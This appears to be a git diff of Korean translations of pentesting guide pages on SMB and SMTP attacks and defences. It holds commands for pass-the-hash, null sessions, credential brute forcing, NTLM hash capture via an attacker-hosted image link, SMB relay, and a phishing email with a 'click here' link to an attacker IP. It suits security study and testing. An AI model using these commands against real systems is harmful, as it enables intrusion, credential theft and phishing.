### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
|
||||
|
||||
두 옵션은 **새 서비스를 생성**합니다 (_\pipe\svcctl_을 사용하여 SMB를 통해) 피해자 머신에서 이를 사용하여 **무언가를 실행**합니다 (**psexec**는 **실행 파일을 ADMIN$ 공유에 업로드**하고 **smbexec**는 **cmd.exe/powershell.exe**를 가리키며 인수에 페이로드를 넣습니다 --**파일 없는 기법-**-).\
|
||||
**자세한 정보**는 [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)와 [**smbexec**](../windows-hardening/ntlm/smbexec.md)를 참조하세요.\
|
||||
두 옵션은 **새로운 서비스를 생성**합니다 (_\pipe\svcctl_을 SMB를 통해 사용) 피해자 머신에서 이를 사용하여 **무언가를 실행**합니다 (**psexec**는 **실행 파일을 ADMIN$ 공유에 업로드**하고 **smbexec**는 **cmd.exe/powershell.exe**를 가리키며 인수로 페이로드를 넣습니다 --**파일 없는 기법-**-).\
|
||||
**자세한 정보**는 [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)와 [**smbexec**](../windows-hardening/ntlm/smbexec.md)를 참조하십시오.\
|
||||
**kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치해 있습니다.
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
@ -428,12 +428,12 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
|
||||
```
|
||||
## SMB 릴레이 공격
|
||||
|
||||
이 공격은 Responder 툴킷을 사용하여 **내부 네트워크에서 SMB 인증 세션을 캡처**하고, 이를 **대상 머신**으로 **릴레이**합니다. 인증 **세션이 성공하면**, 자동으로 **시스템** **셸**로 진입하게 됩니다.\
|
||||
이 공격은 Responder 툴킷을 사용하여 **내부 네트워크에서 SMB 인증 세션을 캡처**하고, 이를 **대상 머신**으로 **릴레이**합니다. 인증 **세션이 성공적**이면 자동으로 **시스템** **셸**로 진입하게 됩니다.\
|
||||
[**이 공격에 대한 더 많은 정보는 여기에서 확인하세요.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
|
||||
Windows 라이브러리 URLMon.dll은 페이지가 SMB를 통해 일부 콘텐츠에 접근하려고 할 때 자동으로 호스트에 인증을 시도합니다. 예를 들어: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
Windows 라이브러리 URLMon.dll은 페이지가 SMB를 통해 일부 콘텐츠에 접근하려고 할 때 호스트에 자동으로 인증을 시도합니다. 예를 들어: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
이는 다음 함수에서 발생합니다:
|
||||
|
||||
@ -452,7 +452,7 @@ Windows 라이브러리 URLMon.dll은 페이지가 SMB를 통해 일부 콘텐
|
||||
|
||||
## NTLM 도난
|
||||
|
||||
SMB 트래핑과 유사하게, 악성 파일을 대상 시스템에 심으면(SMB를 통해 예를 들어) SMB 인증 시도가 발생할 수 있으며, 이를 통해 NetNTLMv2 해시를 Responder와 같은 도구로 가로챌 수 있습니다. 해시는 오프라인에서 크랙되거나 [SMB 릴레이 공격](pentesting-smb.md#smb-relay-attack)에 사용될 수 있습니다.
|
||||
SMB 트래핑과 유사하게, 악성 파일을 대상 시스템에 심는 것(SMB를 통해 예를 들어)도 SMB 인증 시도를 유도할 수 있으며, 이를 통해 NetNTLMv2 해시를 Responder와 같은 도구로 가로챌 수 있습니다. 해시는 오프라인에서 크랙되거나 [SMB 릴레이 공격](pentesting-smb.md#smb-relay-attack)에 사용될 수 있습니다.
|
||||
|
||||
[참조: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
|
@ -20,7 +20,7 @@ _**네트워크 기본 입출력 시스템**_\*\* (NetBIOS)\*\*는 로컬 영역
|
||||
|
||||
**서버 메시지 블록 (SMB)** 프로토콜은 **클라이언트-서버** 모델에서 작동하며, **파일**, 디렉토리 및 프린터와 라우터와 같은 기타 네트워크 리소스에 대한 **접근**을 규제하기 위해 설계되었습니다. 주로 **Windows** 운영 체제 시리즈 내에서 사용되며, SMB는 하위 호환성을 보장하여 Microsoft의 운영 체제의 최신 버전을 실행하는 장치가 이전 버전을 실행하는 장치와 원활하게 상호 작용할 수 있도록 합니다. 또한, **Samba** 프로젝트는 SMB의 구현을 **Linux** 및 Unix 시스템에서 가능하게 하는 무료 소프트웨어 솔루션을 제공하여 SMB를 통한 크로스 플랫폼 통신을 촉진합니다.
|
||||
|
||||
SMB 서버는 **로컬 파일 시스템의 임의 부분**을 나타내는 공유를 제공할 수 있으며, 클라이언트에게 서버의 실제 구조와 부분적으로 **독립적인** 계층을 보여줍니다. **접근 제어 목록 (ACLs)**은 **접근 권한**을 정의하며, **`execute`**, **`read`**, **`full access`**와 같은 속성을 포함하여 사용자 권한에 대한 **세밀한 제어**를 허용합니다. 이러한 권한은 공유를 기반으로 개별 사용자 또는 그룹에 할당될 수 있으며, 서버에서 설정된 로컬 권한과는 구별됩니다.
|
||||
SMB 서버는 **로컬 파일 시스템의 임의 부분**을 나타내는 공유를 제공할 수 있으며, 클라이언트에게 서버의 실제 구조와 부분적으로 **독립적인** 계층 구조를 보여줍니다. **접근 제어 목록 (ACLs)**은 **접근 권한**을 정의하며, **`execute`**, **`read`**, **`full access`**와 같은 속성을 포함하여 사용자 권한에 대한 **세밀한 제어**를 허용합니다. 이러한 권한은 공유를 기반으로 개별 사용자 또는 그룹에 할당될 수 있으며, 서버에서 설정된 로컬 권한과는 구별됩니다.
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
@ -48,13 +48,13 @@ NTLM이 무엇인지 모르거나 그것이 어떻게 작동하는지, 어떻게
|
||||
|
||||
## **서버 열거**
|
||||
|
||||
### **호스트 검색을 위한** 네트워크 스캔:
|
||||
### **호스트**를 검색하여 네트워크 스캔:
|
||||
```bash
|
||||
nbtscan -r 192.168.0.1/24
|
||||
```
|
||||
### SMB 서버 버전
|
||||
|
||||
SMB 버전의 가능한 취약점을 찾으려면 어떤 버전이 사용되고 있는지 아는 것이 중요합니다. 이 정보가 다른 도구에서 나타나지 않는 경우, 다음을 사용할 수 있습니다:
|
||||
SMB 버전에 대한 가능한 익스플로잇을 찾으려면 어떤 버전이 사용되고 있는지 아는 것이 중요합니다. 이 정보가 다른 도구에서 나타나지 않는 경우, 다음을 사용할 수 있습니다:
|
||||
|
||||
- **MSF** 보조 모듈 \_**auxiliary/scanner/smb/smb_version**
|
||||
- 또는 이 스크립트:
|
||||
@ -212,7 +212,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
|
||||
|
||||
(_**Network Security Assessment 3rd edition**_의 일반적인 공유 이름)
|
||||
|
||||
다음 명령을 사용하여 이들에 연결해 볼 수 있습니다.
|
||||
다음 명령어를 사용하여 이들에 연결해 볼 수 있습니다.
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
@ -239,7 +239,7 @@ done
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
```
|
||||
### **Windows에서 공유를 열거하기 / 서드파티 도구 없이**
|
||||
### **Windows에서 공유 목록 열기 / 서드파티 도구 없이**
|
||||
|
||||
PowerShell
|
||||
```powershell
|
||||
@ -314,7 +314,7 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De
|
||||
|
||||
> [!NOTE]
|
||||
> **SYSVOL 공유**는 도메인 내 모든 인증된 사용자가 **읽을 수 있습니다**. 그 안에는 다양한 배치, VBScript 및 PowerShell **스크립트**가 **있을 수 있습니다**.\
|
||||
> 그 안의 **스크립트**를 **확인**해야 하며, **비밀번호**와 같은 민감한 정보를 **찾을 수 있습니다**.
|
||||
> 그 안의 **스크립트**를 **확인해야** 하며, **비밀번호**와 같은 민감한 정보를 **찾을 수 있습니다**.
|
||||
|
||||
## 레지스트리 읽기
|
||||
|
||||
@ -337,9 +337,9 @@ The **default config of** a **Samba** server is usually located in `/etc/samba/s
|
||||
| `enable privileges = yes` | 특정 SID에 할당된 권한을 존중합니까? |
|
||||
| `create mask = 0777` | 새로 생성된 파일에 어떤 권한이 할당되어야 합니까? |
|
||||
| `directory mask = 0777` | 새로 생성된 디렉토리에 어떤 권한이 할당되어야 합니까? |
|
||||
| `logon script = script.sh` | 사용자의 로그인 시 실행해야 하는 스크립트는 무엇입니까? |
|
||||
| `logon script = script.sh` | 사용자의 로그인 시 실행해야 하는 스크립트는 무엇입니까? |
|
||||
| `magic script = script.sh` | 스크립트가 종료될 때 실행해야 하는 스크립트는 무엇입니까? |
|
||||
| `magic output = script.out` | 마법 스크립트의 출력이 저장되어야 하는 위치는 어디입니까? |
|
||||
| `magic output = script.out` | 마법 스크립트의 출력이 저장되어야 하는 위치는 어디입니까? |
|
||||
|
||||
The command `smbstatus` gives information about the **server** and about **who is connected**.
|
||||
|
||||
@ -378,8 +378,8 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
|
||||
|
||||
두 옵션은 **새로운 서비스를 생성**합니다 (_\pipe\svcctl_을 사용하여 SMB를 통해) 피해자 머신에서 이를 사용하여 **무언가를 실행**합니다 (**psexec**는 **실행 파일을 ADMIN$ 공유에 업로드**하고 **smbexec**는 **cmd.exe/powershell.exe**를 가리키며 인수에 페이로드를 넣습니다 --**파일 없는 기법-**-).\
|
||||
**자세한 정보**는 [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)와 [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)를 참조하십시오.\
|
||||
두 옵션 모두 **새 서비스를 생성**합니다 (_\pipe\svcctl_을 사용하여 SMB를 통해) 피해자 머신에서 이를 사용하여 **무언가를 실행**합니다 (**psexec**는 **실행 파일을 ADMIN$ 공유에 업로드**하고 **smbexec**는 **cmd.exe/powershell.exe**를 가리키며 인수에 페이로드를 넣습니다 --**파일 없는 기법-**-).\
|
||||
**자세한 정보**는 [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)와 [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)를 참조하십시오.\
|
||||
**kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치해 있습니다.
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
@ -421,14 +421,14 @@ SMB를 통해 Task Scheduler를 통해 명령을 실행합니다 (_\pipe\atsvc_
|
||||
|
||||
## **사용자 자격 증명 무차별 대입**
|
||||
|
||||
**이것은 권장되지 않으며, 최대 허용 시도를 초과하면 계정이 차단될 수 있습니다**
|
||||
**이것은 권장되지 않으며, 허용된 최대 시도를 초과하면 계정이 차단될 수 있습니다**
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||||
```
|
||||
## SMB 릴레이 공격
|
||||
|
||||
이 공격은 Responder 툴킷을 사용하여 **내부 네트워크에서 SMB 인증 세션을 캡처**하고, 이를 **대상 머신**으로 **릴레이**합니다. 인증 **세션이 성공적**이면 자동으로 **시스템** **쉘**로 진입하게 됩니다.\
|
||||
이 공격은 Responder 툴킷을 사용하여 **내부 네트워크에서 SMB 인증 세션을 캡처**하고, 이를 **대상 머신**으로 **릴레이**합니다. 인증 **세션이 성공적**이면 자동으로 **시스템** **셸**로 진입하게 됩니다.\
|
||||
[**이 공격에 대한 더 많은 정보는 여기에서 확인하세요.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
@ -452,7 +452,7 @@ Windows 라이브러리 URLMon.dll은 페이지가 SMB를 통해 일부 콘텐
|
||||
|
||||
## NTLM 도난
|
||||
|
||||
SMB 트래핑과 유사하게, 악성 파일을 대상 시스템에 심으면(SMB를 통해, 예를 들어) SMB 인증 시도가 발생할 수 있으며, 이를 통해 NetNTLMv2 해시를 Responder와 같은 도구로 가로챌 수 있습니다. 해시는 오프라인에서 크랙되거나 [SMB 릴레이 공격](#smb-relay-attack)에 사용될 수 있습니다.
|
||||
SMB 트래핑과 유사하게, 악성 파일을 대상 시스템에 심으면(SMB를 통해 예를 들어) SMB 인증 시도가 발생할 수 있으며, 이를 통해 NetNTLMv2 해시를 Responder와 같은 도구로 가로챌 수 있습니다. 해시는 오프라인에서 크랙되거나 [SMB 릴레이 공격](#smb-relay-attack)에 사용될 수 있습니다.
|
||||
|
||||
[참조: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## **기본 정보**
|
||||
|
||||
**간단한 메일 전송 프로토콜 (SMTP)**는 **이메일 전송 및 수신**을 위해 TCP/IP 스위트 내에서 사용되는 프로토콜입니다. 수신자의 끝에서 메시지를 큐잉하는 데 한계가 있기 때문에, SMTP는 종종 **POP3 또는 IMAP**과 함께 사용됩니다. 이러한 추가 프로토콜은 사용자가 서버 메일박스에 메시지를 저장하고 주기적으로 다운로드할 수 있도록 합니다.
|
||||
**간단한 메일 전송 프로토콜 (SMTP)**는 **이메일 전송 및 수신**을 위해 TCP/IP 스위트 내에서 사용되는 프로토콜입니다. 수신자의 끝에서 메시지를 대기열에 넣는 데 한계가 있기 때문에, SMTP는 종종 **POP3 또는 IMAP**과 함께 사용됩니다. 이러한 추가 프로토콜은 사용자가 서버 메일박스에 메시지를 저장하고 주기적으로 다운로드할 수 있도록 합니다.
|
||||
|
||||
실제로 **이메일 프로그램**은 **이메일 전송을 위해 SMTP를 사용**하고, **수신을 위해 POP3 또는 IMAP을 사용**하는 것이 일반적입니다. 유닉스 기반 시스템에서는 **sendmail**이 이메일 용도로 가장 자주 사용되는 SMTP 서버로 두드러집니다. Sendmail이라는 상용 패키지는 POP3 서버를 포함하고 있습니다. 또한, **Microsoft Exchange**는 SMTP 서버를 제공하며 POP3 지원을 포함할 수 있는 옵션을 제공합니다.
|
||||
|
||||
@ -15,11 +15,11 @@ PORT STATE SERVICE REASON VERSION
|
||||
```
|
||||
### EMAIL Headers
|
||||
|
||||
희생자가 **이메일을 보내도록 할 기회가 있다면** (예: 웹 페이지의 연락처 양식을 통해), 그렇게 하세요. **이메일 헤더를 통해 희생자의 내부 토폴로지를 알 수 있습니다.**
|
||||
피해자가 **이메일을 보내도록 할 기회가 있다면** (예: 웹 페이지의 연락처 양식을 통해), 그렇게 하세요. **이메일 헤더를 통해 피해자의 내부 토폴로지를 알 수 있습니다.**
|
||||
|
||||
또한 **존재하지 않는 주소로 이메일을 보내려고 SMTP 서버에서 이메일을 받을 수 있습니다** (서버가 공격자에게 NDN 메일을 보낼 것이기 때문입니다). 하지만, 허용된 주소에서 이메일을 보내고 (SPF 정책을 확인하세요) NDN 메시지를 받을 수 있는지 확인해야 합니다.
|
||||
또한 **존재하지 않는 주소로 이메일을 보내는** SMTP 서버에서 이메일을 받을 수 있습니다 (서버가 공격자에게 NDN 메일을 보낼 것이기 때문입니다). 하지만, 허용된 주소에서 이메일을 보내고 (SPF 정책을 확인하세요) NDN 메시지를 받을 수 있는지 확인해야 합니다.
|
||||
|
||||
또한 **다양한 내용을 보내보세요. 헤더에서 더 흥미로운 정보를 찾을 수 있습니다**: `X-Virus-Scanned: by av.domain.com`\
|
||||
또한 **다양한 내용을 보내보세요. 헤더에서 더 흥미로운 정보를 찾을 수 있습니다.** 예: `X-Virus-Scanned: by av.domain.com`\
|
||||
EICAR 테스트 파일을 보내야 합니다.\
|
||||
**AV**를 감지하면 **알려진 취약점을 악용할 수 있습니다.**
|
||||
|
||||
@ -89,7 +89,7 @@ MAIL FROM: me
|
||||
|
||||
## Username Bruteforce Enumeration
|
||||
|
||||
**인증이 항상 필요하지는 않습니다.**
|
||||
**인증이 항상 필요한 것은 아닙니다.**
|
||||
|
||||
### RCPT TO
|
||||
```bash
|
||||
@ -142,7 +142,7 @@ EXPN root
|
||||
EXPN sshd
|
||||
250 2.1.5 sshd privsep sshd@myhost
|
||||
```
|
||||
### 자동화 도구
|
||||
### 자동 도구
|
||||
```
|
||||
Metasploit: auxiliary/scanner/smtp/smtp_enum
|
||||
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
|
||||
@ -150,7 +150,7 @@ Nmap: nmap --script smtp-enum-users <IP>
|
||||
```
|
||||
## DSN 보고서
|
||||
|
||||
**전달 상태 알림 보고서**: 조직에 **잘못된 주소**로 **이메일**을 보내면, 해당 조직은 주소가 잘못되었다는 것을 **메일을 다시 보내** 알려줍니다. 반환된 이메일의 **헤더**에는 가능한 **민감한 정보**(보고서와 상호작용한 메일 서비스의 IP 주소나 안티바이러스 소프트웨어 정보 등)가 **포함**될 수 있습니다.
|
||||
**전달 상태 알림 보고서**: 조직에 **잘못된 주소**로 **이메일**을 보내면, 해당 조직은 주소가 잘못되었음을 알리기 위해 **메일을 다시 보내**게 됩니다. 반환된 이메일의 **헤더**에는 가능한 **민감한 정보**(보고서와 상호작용한 메일 서비스의 IP 주소나 안티바이러스 소프트웨어 정보 등)가 **포함**될 것입니다.
|
||||
|
||||
## [명령어](smtp-commands.md)
|
||||
|
||||
@ -168,11 +168,11 @@ If you are manually typing in a message:
|
||||
```bash
|
||||
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
|
||||
```
|
||||
### 이메일 전송하기 with Python
|
||||
### Sending an Email with Python
|
||||
|
||||
<details>
|
||||
|
||||
<summary>여기에 Python 코드</summary>
|
||||
<summary>Pyhton code here</summary>
|
||||
```python
|
||||
from email.mime.multipart import MIMEMultipart
|
||||
from email.mime.text import MIMEText
|
||||
@ -227,17 +227,17 @@ smtp-smuggling.md
|
||||
|
||||
## 메일 스푸핑 대응책
|
||||
|
||||
조직은 **SPF**, **DKIM**, **DMARC**를 사용하여 SMTP 메시지를 스푸핑하는 것이 용이하기 때문에 그들의 이름으로 무단 이메일이 전송되는 것을 방지합니다.
|
||||
조직은 **SPF**, **DKIM**, **DMARC**를 사용하여 무단 이메일이 그들의 이름으로 전송되는 것을 방지합니다. 이는 SMTP 메시지를 스푸핑하는 것이 용이하기 때문입니다.
|
||||
|
||||
**이 대응책에 대한 완전한 가이드**는 [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)에서 확인할 수 있습니다.
|
||||
|
||||
### SPF
|
||||
|
||||
> [!CAUTION]
|
||||
> SPF [는 2014년에 "사용 중단"되었습니다](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). 이는 `_spf.domain.com`에 **TXT 레코드**를 생성하는 대신 `domain.com`에 **동일한 구문**을 사용하여 생성해야 함을 의미합니다.\
|
||||
> SPF [는 2014년에 "사용 중지"되었습니다](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). 이는 `_spf.domain.com`에 **TXT 레코드**를 생성하는 대신 `domain.com`에 **동일한 구문**을 사용하여 생성해야 함을 의미합니다.\
|
||||
> 또한, 이전 SPF 레코드를 재사용하기 위해 `"v=spf1 include:_spf.google.com ~all"`과 같은 것을 찾는 것이 일반적입니다.
|
||||
|
||||
**발신자 정책 프레임워크**(SPF)는 메일 전송 에이전트(MTA)가 이메일을 전송하는 호스트가 조직에서 정의한 승인된 메일 서버 목록을 쿼리하여 인증되었는지 확인할 수 있게 해주는 메커니즘입니다. 이 목록은 **도메인 이름을 대신하여 이메일을 전송할 수 있는** IP 주소/범위, 도메인 및 기타 엔티티를 지정하며, SPF 레코드에 다양한 "**메커니즘**"을 포함합니다.
|
||||
**발신자 정책 프레임워크**(SPF)는 메일 전송 에이전트(MTA)가 이메일을 전송하는 호스트가 조직에서 정의한 승인된 메일 서버 목록을 조회하여 인증되었는지 확인할 수 있게 해주는 메커니즘입니다. 이 목록은 **도메인 이름을 대신하여 이메일을 전송할 수 있는** IP 주소/범위, 도메인 및 기타 엔티티를 지정하며, SPF 레코드에 다양한 "**메커니즘**"을 포함합니다.
|
||||
|
||||
#### 메커니즘
|
||||
|
||||
@ -250,9 +250,9 @@ smtp-smuggling.md
|
||||
| IP4 | 발신자가 주어진 IPv4 주소 범위에 있는 경우 일치합니다. |
|
||||
| IP6 | 발신자가 주어진 IPv6 주소 범위에 있는 경우 일치합니다. |
|
||||
| MX | 도메인 이름에 발신자의 주소로 확인할 수 있는 MX 레코드가 있는 경우 일치합니다(즉, 메일이 도메인의 수신 메일 서버 중 하나에서 옵니다). |
|
||||
| PTR | 클라이언트 주소의 도메인 이름(PTR 레코드)이 주어진 도메인에 있고 해당 도메인 이름이 클라이언트 주소로 확인되는 경우(정방향 확인된 역 DNS) 일치합니다. 이 메커니즘은 권장되지 않으며 가능하면 피해야 합니다. |
|
||||
| PTR | 클라이언트의 주소에 대한 도메인 이름(PTR 레코드)이 주어진 도메인에 있고 해당 도메인 이름이 클라이언트의 주소로 확인되는 경우(정방향 확인된 역 DNS), 일치합니다. 이 메커니즘은 권장되지 않으며 가능한 한 피해야 합니다. |
|
||||
| EXISTS | 주어진 도메인 이름이 어떤 주소로도 확인되는 경우 일치합니다(확인되는 주소에 관계없이). 이는 드물게 사용됩니다. SPF 매크로 언어와 함께 DNSBL 쿼리와 같은 더 복잡한 일치를 제공합니다. |
|
||||
| INCLUDE | 다른 도메인의 정책을 참조합니다. 해당 도메인의 정책이 통과하면 이 메커니즘도 통과합니다. 그러나 포함된 정책이 실패하면 처리는 계속됩니다. 다른 도메인의 정책에 완전히 위임하려면 리디렉션 확장을 사용해야 합니다. |
|
||||
| INCLUDE | 다른 도메인의 정책을 참조합니다. 해당 도메인의 정책이 통과하면 이 메커니즘도 통과합니다. 그러나 포함된 정책이 실패하면 처리가 계속됩니다. 다른 도메인의 정책에 완전히 위임하려면 리디렉션 확장을 사용해야 합니다. |
|
||||
| REDIRECT | <p>리디렉션은 SPF 정책을 호스팅하는 다른 도메인 이름에 대한 포인터로, 여러 도메인이 동일한 SPF 정책을 공유할 수 있게 해줍니다. 이는 동일한 이메일 인프라를 공유하는 많은 도메인과 작업할 때 유용합니다.</p><p>리디렉션 메커니즘에 표시된 도메인의 SPF 정책이 사용됩니다.</p> |
|
||||
|
||||
**정량자**를 식별하는 것도 가능하며, 이는 **메커니즘이 일치할 경우 수행해야 할 작업**을 나타냅니다. 기본적으로 **정량자 "+"**가 사용됩니다(따라서 어떤 메커니즘이 일치하면 허용된다는 의미입니다).\
|
||||
@ -294,7 +294,7 @@ _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:1
|
||||
|
||||
DKIM은 아웃바운드 이메일에 서명하는 데 사용되며, 외부 메일 전송 에이전트(MTA)가 DNS에서 도메인의 공개 키를 검색하여 이를 검증할 수 있도록 합니다. 이 공개 키는 도메인의 TXT 레코드에 위치합니다. 이 키에 접근하려면 선택자와 도메인 이름을 모두 알아야 합니다.
|
||||
|
||||
예를 들어, 키를 요청하려면 도메인 이름과 선택자가 필수적입니다. 이 정보는 메일 헤더 `DKIM-Signature`에서 찾을 수 있습니다. 예: `d=gmail.com;s=20120113`.
|
||||
예를 들어, 키를 요청하려면 도메인 이름과 선택자가 필수적입니다. 이는 메일 헤더 `DKIM-Signature`에서 찾을 수 있습니다, 예: `d=gmail.com;s=20120113`.
|
||||
|
||||
이 정보를 가져오는 명령은 다음과 같을 수 있습니다:
|
||||
```bash
|
||||
@ -304,7 +304,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p=
|
||||
```
|
||||
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
|
||||
|
||||
DMARC는 SPF 및 DKIM 프로토콜을 기반으로 이메일 보안을 강화합니다. 특정 도메인에서 오는 이메일을 처리하는 데 있어 메일 서버가 따라야 할 정책을 설명하며, 인증 실패를 처리하는 방법과 이메일 처리 작업에 대한 보고서를 어디로 보낼지를 포함합니다.
|
||||
DMARC는 SPF 및 DKIM 프로토콜을 기반으로 이메일 보안을 강화합니다. 특정 도메인에서 오는 이메일 처리에 대한 지침을 제공하는 정책을 설명하며, 인증 실패를 처리하는 방법과 이메일 처리 작업에 대한 보고서를 어디로 보낼지를 포함합니다.
|
||||
|
||||
**DMARC 레코드를 얻으려면 서브도메인 \_dmarc를 쿼리해야 합니다.**
|
||||
```bash
|
||||
@ -326,38 +326,38 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
||||
| -------- | --------------------------------------------- | ------------------------------- |
|
||||
| v | 프로토콜 버전 | v=DMARC1 |
|
||||
| pct | 필터링 대상 메시지의 비율 | pct=20 |
|
||||
| ruf | 포렌식 보고서의 보고 URI | ruf=mailto:authfail@example.com |
|
||||
| ruf | 포렌식 보고서용 보고 URI | ruf=mailto:authfail@example.com |
|
||||
| rua | 집계 보고서의 보고 URI | rua=mailto:aggrep@example.com |
|
||||
| p | 조직 도메인에 대한 정책 | p=quarantine |
|
||||
| sp | OD의 서브도메인에 대한 정책 | sp=reject |
|
||||
| adkim | DKIM의 정렬 모드 | adkim=s |
|
||||
| aspf | SPF의 정렬 모드 | aspf=r |
|
||||
| sp | OD의 하위 도메인에 대한 정책 | sp=reject |
|
||||
| adkim | DKIM에 대한 정렬 모드 | adkim=s |
|
||||
| aspf | SPF에 대한 정렬 모드 | aspf=r |
|
||||
|
||||
### **서브도메인은 어떻게 되나요?**
|
||||
### **하위 도메인은 어떻게 되나요?**
|
||||
|
||||
**여기서** [**보세요**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
|
||||
메일을 보내고자 하는 각 서브도메인에 대해 별도의 SPF 레코드를 가져야 합니다.\
|
||||
다음 내용은 원래 openspf.org에 게시된 것으로, 이러한 종류의 정보에 대한 훌륭한 자원이었습니다.
|
||||
메일을 보내고자 하는 각 하위 도메인에 대해 별도의 SPF 레코드가 필요합니다.\
|
||||
다음 내용은 원래 openspf.org에 게시된 것으로, 이와 같은 정보에 대한 훌륭한 자원이었습니다.
|
||||
|
||||
> 데몬 질문: 서브도메인은 어떻게 되나요?
|
||||
> 데몬 질문: 하위 도메인은 어떻게 되나요?
|
||||
>
|
||||
> pielovers.demon.co.uk에서 메일을 받았고, pielovers에 대한 SPF 데이터가 없다면, 한 단계 올라가서 demon.co.uk에 대한 SPF를 테스트해야 할까요? 아니요. 데몬의 각 서브도메인은 다른 고객이며, 각 고객은 자신의 정책을 가질 수 있습니다. 데몬의 정책이 기본적으로 모든 고객에게 적용되는 것은 의미가 없습니다. 만약 데몬이 그렇게 하기를 원한다면, 각 서브도메인에 대한 SPF 레코드를 설정할 수 있습니다.
|
||||
> pielovers.demon.co.uk에서 메일을 받고, pielovers에 대한 SPF 데이터가 없다면, 한 단계 올라가서 demon.co.uk에 대한 SPF를 테스트해야 할까요? 아니요. 데몬의 각 하위 도메인은 다른 고객이며, 각 고객은 자신의 정책을 가질 수 있습니다. 데몬의 정책이 기본적으로 모든 고객에게 적용되는 것은 의미가 없습니다; 데몬이 그렇게 하려면 각 하위 도메인에 대한 SPF 레코드를 설정할 수 있습니다.
|
||||
>
|
||||
> 따라서 SPF 발행자에게 주는 조언은 다음과 같습니다: A 또는 MX 레코드가 있는 각 서브도메인 또는 호스트 이름에 대해 SPF 레코드를 추가해야 합니다.
|
||||
> 따라서 SPF 발행자에게 주는 조언은 다음과 같습니다: A 또는 MX 레코드가 있는 각 하위 도메인 또는 호스트 이름에 대해 SPF 레코드를 추가해야 합니다.
|
||||
>
|
||||
> 와일드카드 A 또는 MX 레코드가 있는 사이트는 다음 형식의 와일드카드 SPF 레코드도 가져야 합니다: \* IN TXT "v=spf1 -all"
|
||||
|
||||
이것은 의미가 있습니다 - 서브도메인은 다른 지리적 위치에 있을 수 있으며 매우 다른 SPF 정의를 가질 수 있습니다.
|
||||
이것은 의미가 있습니다 - 하위 도메인은 매우 다른 지리적 위치에 있을 수 있으며 매우 다른 SPF 정의를 가질 수 있습니다.
|
||||
|
||||
### **오픈 릴레이**
|
||||
|
||||
이메일이 전송될 때 스팸으로 표시되지 않도록 하는 것이 중요합니다. 이는 종종 **수신자가 신뢰하는 릴레이 서버**를 사용하여 달성됩니다. 그러나 일반적인 문제는 관리자가 **어떤 IP 범위가 안전한지** 완전히 인식하지 못할 수 있다는 것입니다. 이러한 이해 부족은 SMTP 서버 설정에서 실수로 이어질 수 있으며, 이는 보안 평가에서 자주 식별되는 위험입니다.
|
||||
이메일이 전송될 때 스팸으로 표시되지 않도록 하는 것이 중요합니다. 이는 종종 **수신자가 신뢰하는 릴레이 서버**를 사용하여 달성됩니다. 그러나 일반적인 문제는 관리자가 **어떤 IP 범위가 허용되는지 완전히 인식하지 못할 수 있다는 것입니다**. 이러한 이해 부족은 SMTP 서버 설정에서 실수로 이어질 수 있으며, 이는 보안 평가에서 자주 식별되는 위험입니다.
|
||||
|
||||
